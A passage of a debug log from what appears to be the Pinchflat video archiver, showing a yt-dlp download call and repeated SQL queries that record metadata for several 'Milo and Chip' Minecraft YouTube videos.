s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:41:14.211 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=nlDDtZXqZPY --no-simulate --no-progress --no-force-overwrites --parse-metadata %(upload_date>%Y-%m-%d)s:(?P.+) --write-subs --convert-subs srt --sub-langs en --remux-video mp4 --format-sort res:1080,+codec:avc:m4a --format bestvideo*+bestaudio/best --output /downloads/rory/Milo and Chip/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --print-to-file after_move:%()j /tmp/pinchflat/data/b9/8c/b98c1f52e852949159293b32f7aeddad24a07a9d517f2393a3aad0db4e355a3c.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 19:41:14.682 [debug] Current batch of media processed. Will check again in 1000ms 19:41:15.683 [debug] Current batch of media processed. Will check again in 1000ms 19:41:16.684 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "Impossible Find the Diamond Challenge: Hide and Seek! 🟦🔍 Can Milo freeze perfectly still while JJ hunts down everyone one by one? And what comes crawling through the Nether portal at the end? Just like Maizen!\n\n✅ HOW TO PLAY MINECRAFT WITH CHIP AND MILO\n1. Open Minecraft\n2. Click \"Play\"\n3. Click the \"Servers\" tab\n4. Click \"Add Server\" \n5. Type in the IP: play.eyserver.com\n6. Type in the Port: 19132\n7. Click \"Join\"\nYou can join this server on Bedrock Edition (Phones, Consoles and Tablets) and Java Edition (PC and Mac)\n\n#minecraft #minecraftbuild #miloandchip", "duration" => 2125, "filename" => "/downloads/rory/Milo and Chip/2026-05-29 Milo & Chip Turn Into Blocks in Hide and Seek in Minecraft/Milo & Chip Turn Into Blocks in Hide and Seek in Minecraft [ano3A1IT0wA].mp4", "id" => "ano3A1IT0wA", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=ano3A1IT0wA", "playlist_index" => 3, "timestamp" => 1780095615, "title" => "Milo & Chip Turn Into Blocks in Hide and Seek in Minecraft", "upload_date" => "20260529"} 19:41:16.684 [debug] QUERY OK source="sources" db=0.2ms idle=985.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [30] 19:41:16.685 [debug] QUERY OK source="sources" db=0.2ms idle=985.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [30] 19:41:16.687 [debug] QUERY OK source="media_items" db=1.6ms idle=986.1ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-05-29 23:00:15Z], 30] 19:41:16.688 [debug] QUERY OK source="media_items" db=0.8ms idle=988.1ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","prevent_download","original_url","source_id","subtitle_filepaths","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Impossible Find the Diamond Challenge: Hide and Seek! 🟦🔍 Can Milo freeze perfectly still while JJ hunts down everyone one by one? And what comes crawling through the Nether portal at the end? Just like Maizen!\n\n✅ HOW TO PLAY MINECRAFT WITH CHIP AND MILO\n1. Open Minecraft\n2. Click \"Play\"\n3. Click the \"Servers\" tab\n4. Click \"Add Server\" \n5. Type in the IP: play.eyserver.com\n6. Type in the Port: 19132\n7. Click \"Join\"\nYou can join this server on Bedrock Edition (Phones, Consoles and Tablets) and Java Edition (PC and Mac)\n\n#minecraft #minecraftbuild #miloandchip", "Milo & Chip Turn Into Blocks in Hide and Seek in Minecraft", "501dcdd0-8b29-49fa-a5aa-83a619262d6b", "ano3A1IT0wA", false, "https://www.youtube.com/watch?v=ano3A1IT0wA", 30, [], 2125, false, 3, "/downloads/rory/Milo and Chip/2026-05-29 Milo & Chip Turn Into Blocks in Hide and Seek in Minecraft/Milo & Chip Turn Into Blocks in Hide and Seek in Minecraft [ano3A1IT0wA].mp4", false, false, 98, ~U[2026-05-29 23:00:15Z], ~U[2026-06-03 23:41:16Z], ~U[2026-06-03 23:41:16Z], "Impossible Find the Diamond Challenge: Hide and Seek! 🟦🔍 Can Milo freeze perfectly still while JJ hunts down everyone one by one? And what comes crawling through the Nether portal at the end? Just like Maizen!\n\n✅ HOW TO PLAY MINECRAFT WITH CHIP AND MILO\n1. Open Minecraft\n2. Click \"Play\"\n3. Click the \"Servers\" tab\n4. Click \"Add Server\" \n5. Type in the IP: play.eyserver.com\n6. Type in the Port: 19132\n7. Click \"Join\"\nYou can join this server on Bedrock Edition (Phones, Consoles and Tablets) and Java Edition (PC and Mac)\n\n#minecraft #minecraftbuild #miloandchip", "Milo & Chip Turn Into Blocks in Hide and Seek in Minecraft", "ano3A1IT0wA", "https://www.youtube.com/watch?v=ano3A1IT0wA", 30, 2125, false, "/downloads/rory/Milo and Chip/2026-05-29 Milo & Chip Turn Into Blocks in Hide and Seek in Minecraft/Milo & Chip Turn Into Blocks in Hide and Seek in Minecraft [ano3A1IT0wA].mp4", false, ~U[2026-05-29 23:00:15Z]] 19:41:16.689 [debug] QUERY OK source="sources" db=0.2ms idle=15.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [30] 19:41:16.689 [debug] QUERY OK source="media_profiles" db=0.1ms idle=4.2ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [2] 19:41:16.690 [debug] QUERY OK source="media_items" db=0.2ms idle=4.3ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [140166] 19:41:16.690 [debug] Current batch of media processed. Will check again in 1000ms 19:41:17.690 [debug] Current batch of media processed. Will check again in 1000ms 19:41:18.691 [debug] Current batch of media processed. Will check again in 1000ms 19:41:19.692 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "PRANKING My Friends by Being KIND in Minecraft! 😬🕵️ What are Milo, Rosie and Villager Bob hiding from Chip? What happens when sweetness becomes the ultimate spy weapon?\n\n✅ HOW TO PLAY MINECRAFT WITH CHIP AND MILO\n1. Open Minecraft\n2. Click \"Play\"\n3. Click the \"Servers\" tab\n4. Click \"Add Server\" \n5. Type in the IP: play.eyserver.com\n6. Type in the Port: 19132\n7. Click \"Join\"\nYou can join this server on Bedrock Edition (Phones, Consoles and Tablets) and Java Edition (PC and Mac)\n\n#minecraft #minecraftbuild #miloandchip", "duration" => 1860, "filename" => "/downloads/rory/Milo and Chip/2026-05-27 Being WAY TOO NICE To Find My Friend's SECRETS in Minecraft/Being WAY TOO NICE To Find My Friend's SECRETS in Minecraft [aUkz6mYnXT8].mp4", "id" => "aUkz6mYnXT8", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=aUkz6mYnXT8", "playlist_index" => 4, "timestamp" => 1779922815, "title" => "Being WAY TOO NICE To Find My Friend's SECRETS in Minecraft", "upload_date" => "20260527"} 19:41:19.693 [debug] QUERY OK source="sources" db=0.2ms idle=1993.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [30] 19:41:19.693 [debug] QUERY OK source="sources" db=0.1ms idle=1993.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [30] 19:41:19.694 [debug] QUERY OK source="media_items" db=1.0ms idle=1994.2ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-05-27 23:00:15Z], 30] 19:41:19.695 [debug] QUERY OK source="media_items" db=0.6ms idle=1019.8ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","prevent_download","original_url","source_id","subtitle_filepaths","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["PRANKING My Friends by Being KIND in Minecraft! 😬🕵️ What are Milo, Rosie and Villager Bob hiding from Chip? What happens when sweetness becomes the ultimate spy weapon?\n\n✅ HOW TO PLAY MINECRAFT WITH CHIP AND MILO\n1. Open Minecraft\n2. Click \"Play\"\n3. Click the \"Servers\" tab\n4. Click \"Add Server\" \n5. Type in the IP: play.eyserver.com\n6. Type in the Port: 19132\n7. Click \"Join\"\nYou can join this server on Bedrock Edition (Phones, Consoles and Tablets) and Java Edition (PC and Mac)\n\n#minecraft #minecraftbuild #miloandchip", "Being WAY TOO NICE To Find My Friend's SECRETS in Minecraft", "067125bf-cfdf-4a27-9815-44a201a54dec", "aUkz6mYnXT8", false, "https://www.youtube.com/watch?v=aUkz6mYnXT8", 30, [], 1860, false, 4, "/downloads/rory/Milo and Chip/2026-05-27 Being WAY TOO NICE To Find My Friend's SECRETS in Minecraft/Being WAY TOO NICE To Find My Friend's SECRETS in Minecraft [aUkz6mYnXT8].mp4", false, false, 98, ~U[2026-05-27 23:00:15Z], ~U[2026-06-03 23:41:19Z], ~U[2026-06-03 23:41:19Z], "PRANKING My Friends by Being KIND in Minecraft! 😬🕵️ What are Milo, Rosie and Villager Bob hiding from Chip? What happens when sweetness becomes the ultimate spy weapon?\n\n✅ HOW TO PLAY MINECRAFT WITH CHIP AND MILO\n1. Open Minecraft\n2. Click \"Play\"\n3. Click the \"Servers\" tab\n4. Click \"Add Server\" \n5. Type in the IP: play.eyserver.com\n6. Type in the Port: 19132\n7. Click \"Join\"\nYou can join this server on Bedrock Edition (Phones, Consoles and Tablets) and Java Edition (PC and Mac)\n\n#minecraft #minecraftbuild #miloandchip", "Being WAY TOO NICE To Find My Friend's SECRETS in Minecraft", "aUkz6mYnXT8", "https://www.youtube.com/watch?v=aUkz6mYnXT8", 30, 1860, false, "/downloads/rory/Milo and Chip/2026-05-27 Being WAY TOO NICE To Find My Friend's SECRETS in Minecraft/Being WAY TOO NICE To Find My Friend's SECRETS in Minecraft [aUkz6mYnXT8].mp4", false, ~U[2026-05-27 23:00:15Z]] 19:41:19.696 [debug] QUERY OK source="sources" db=0.2ms idle=19.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [30] 19:41:19.696 [debug] QUERY OK source="media_profiles" db=0.2ms idle=3.1ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [2] 19:41:19.696 [debug] QUERY OK source="media_items" db=0.1ms idle=3.1ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [139734] 19:41:19.696 [debug] Current batch of media processed. Will check again in 1000ms 19:41:20.697 [debug] Current batch of media processed. Will check again in 1000ms 19:41:21.698 [debug] Current batch of media processed. Will check again in 1000ms 19:41:22.699 [debug] Current batch of media processed. Will check again in 1000ms 19:41:23.700 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "Chip VS Milo : Battle of Powers in Minecraft! 💎🟫 Can Milo's silly mud gear really keep up with Chip's shiny enchanted loot? Will the worst material in the game somehow tie with the best? Just like JJ and Mikey Maizen!\n\n✅ HOW TO PLAY MINECRAFT WITH CHIP AND MILO\n1. Open Minecraft\n2. Click \"Play\"\n3. Click the \"Servers\" tab\n4. Click \"Add Server\" \n5. Type in the IP: play.eyserver.com\n6. Type in the Port: 19132\n7. Click \"Join\"\nYou can join this server on Bedrock Edition (Phones, Consoles and Tablets) and Java Edition (PC and Mac)\n\n#minecraft #minecraftbuild #miloandchip", "duration" => 2099, "filename" => "/downloads/rory/Milo and Chip/2026-05-25 DIRT vs DIAMOND: Battle Of DOORS in Minecraft/DIRT vs DIAMOND: Battle Of DOORS in Minecraft [Hhfw4cTRCOw].mp4", "id" => "Hhfw4cTRCOw", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=Hhfw4cTRCOw", "playlist_index" => 5, "timestamp" => 1779750011, "title" => "DIRT vs DIAMOND: Battle Of DOORS in Minecraft", "upload_date" => "20260525"} 19:41:23.700 [debug] QUERY OK source="sources" db=0.2ms idle=1001.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [30] 19:41:23.701 [debug] QUERY OK source="sources" db=0.1ms idle=1001.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [30] 19:41:23.702 [debug] QUERY OK source="media_items" db=1.0ms idle=1002.0ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-05-25 23:00:11Z], 30] 19:41:23.704 [debug] QUERY OK source="media_items" db=0.7ms idle=1003.5ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","prevent_download","original_url","source_id","subtitle_filepaths","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Chip VS Milo : Battle of Powers in Minecraft! 💎🟫 Can Milo's silly mud gear really keep up with Chip's shiny enchanted loot? Will the worst material in the game somehow tie with the best? Just like JJ and Mikey Maizen!\n\n✅ HOW TO PLAY MINECRAFT WITH CHIP AND MILO\n1. Open Minecraft\n2. Click \"Play\"\n3. Click the \"Servers\" tab\n4. Click \"Add Server\" \n5. Type in the IP: play.eyserver.com\n6. Type in the Port: 19132\n7. Click \"Join\"\nYou can join this server on Bedrock Edition (Phones, Consoles and Tablets) and Java Edition (PC and Mac)\n\n#minecraft #minecraftbuild #miloandchip", "DIRT vs DIAMOND: Battle Of DOORS in Minecraft", "2eb3215a-e1b9-4026-892f-95ecd499bea1", "Hhfw4cTRCOw", false, "https://www.youtube.com/watch?v=Hhfw4cTRCOw", 30, [], 2099, false, 5, "/downloads/rory/Milo and Chip/2026-05-25 DIRT vs DIAMOND: Battle Of DOORS in Minecraft/DIRT vs DIAMOND: Battle Of DOORS in Minecraft [Hhfw4cTRCOw].mp4", false, false, 98, ~U[2026-05-25 23:00:11Z], ~U[2026-06-03 23:41:23Z], ~U[2026-06-03 23:41:23Z], "Chip VS Milo : Battle of Powers in Minecraft! 💎🟫 Can Milo's silly mud gear really keep up with Chip's shiny enchanted loot? Will the worst material in the game somehow tie with the best? Just like JJ and Mikey Maizen!\n\n✅ HOW TO PLAY MINECRAFT WITH CHIP AND MILO\n1. Open Minecraft\n2. Click \"Play\"\n3. Click the \"Servers\" tab\n4. Click \"Add Server\" \n5. Type in the IP: play.eyserver.com\n6. Type in the Port: 19132\n7. Click \"Join\"\nYou can join this server on Bedrock Edition (Phones, Consoles and Tablets) and Java Edition (PC and Mac)\n\n#minecraft #minecraftbuild #miloandchip", "DIRT vs DIAMOND: Battle Of DOORS in Minecraft", "Hhfw4cTRCOw", "https://www.youtube.com/watch?v=Hhfw4cTRCOw", 30, 2099, false, "/downloads/rory/Milo and Chip/2026-05-25 DIRT vs DIAMOND: Battle Of DOORS in Minecraft/DIRT vs DIAMOND: Battle Of DOORS in Minecraft [Hhfw4cTRCOw].mp4", false, ~U[2026-05-25 23:00:11Z]] 19:41:23.704 [debug] QUERY OK source="sources" db=0.1ms idle=23.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [30] 19:41:23.704 [debug] QUERY OK source="media_profiles" db=0.1ms idle=3.5ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [2] 19:41:23.705 [debug] QUERY OK source="media_items" db=0.2ms idle=3.4ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [139303] 19:41:23.705 [debug] Current batch of media processed. Will check again in 1000ms 19:41:24.705 [debug] Current batch of media processed. Will check again in 1000ms 19:41:25.706 [debug] Current batch of media processed. Will check again in 1000ms 19:41:26.708 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "We Lived YOUR Entire Minecraft Life… From Baby to Ghost! :baby::ghost: Can YOU escape a daycare, survive a bear attack and outlive a stalker — only to have Milo blow you up with TNT? Just like Maizen and Aphmau!\n\n✅ HOW TO PLAY MINECRAFT WITH CHIP AND MILO\n1. Open Minecraft\n2. Click \"Play\"\n3. Click the \"Servers\" tab\n4. Click \"Add Server\" \n5. Type in the IP: play.eyserver.com\n6. Type in the Port: 19132\n7. Click \"Join\"\nYou can join this server on Bedrock Edition (Phones, Consoles and Tablets) and Java Edition (PC and Mac)\n\n#minecraft #minecraftbuild #miloandchip", "duration" => 1631, "filename" => "/downloads/rory/Milo and Chip/2026-05-22 BIRTH to DEATH of YOU in Minecraft/BIRTH to DEATH of YOU in Minecraft [VRn3KpKOB-Q].mp4", "id" => "VRn3KpKOB-Q", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=VRn3KpKOB-Q", "playlist_index" => 6, "timestamp" => 1779490832, "title" => "BIRTH to DEATH of YOU in Minecraft", "upload_date" => "20260522"} 19:41:26.709 [debug] QUERY OK source="sources" db=0.7ms queue=0.1ms idle=1009.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [30] 19:41:26.712 [debug] QUERY OK source="sources" db=2.0ms idle=1010.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [30] 19:41:26.717 [debug] QUERY OK source="media_items" db=4.1ms idle=1013.3ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-05-22 23:00:32Z], 30] 19:41:26.726 [debug] QUERY OK source="media_items" db=8.3ms idle=1018.3ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","prevent_download","original_url","source_id","subtitle_filepaths","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["We Lived YOUR Entire Minecraft Life… From Baby to Ghost! :baby::ghost: Can YOU escape a daycare, survive a bear attack and outlive a stalker — only to have Milo blow you 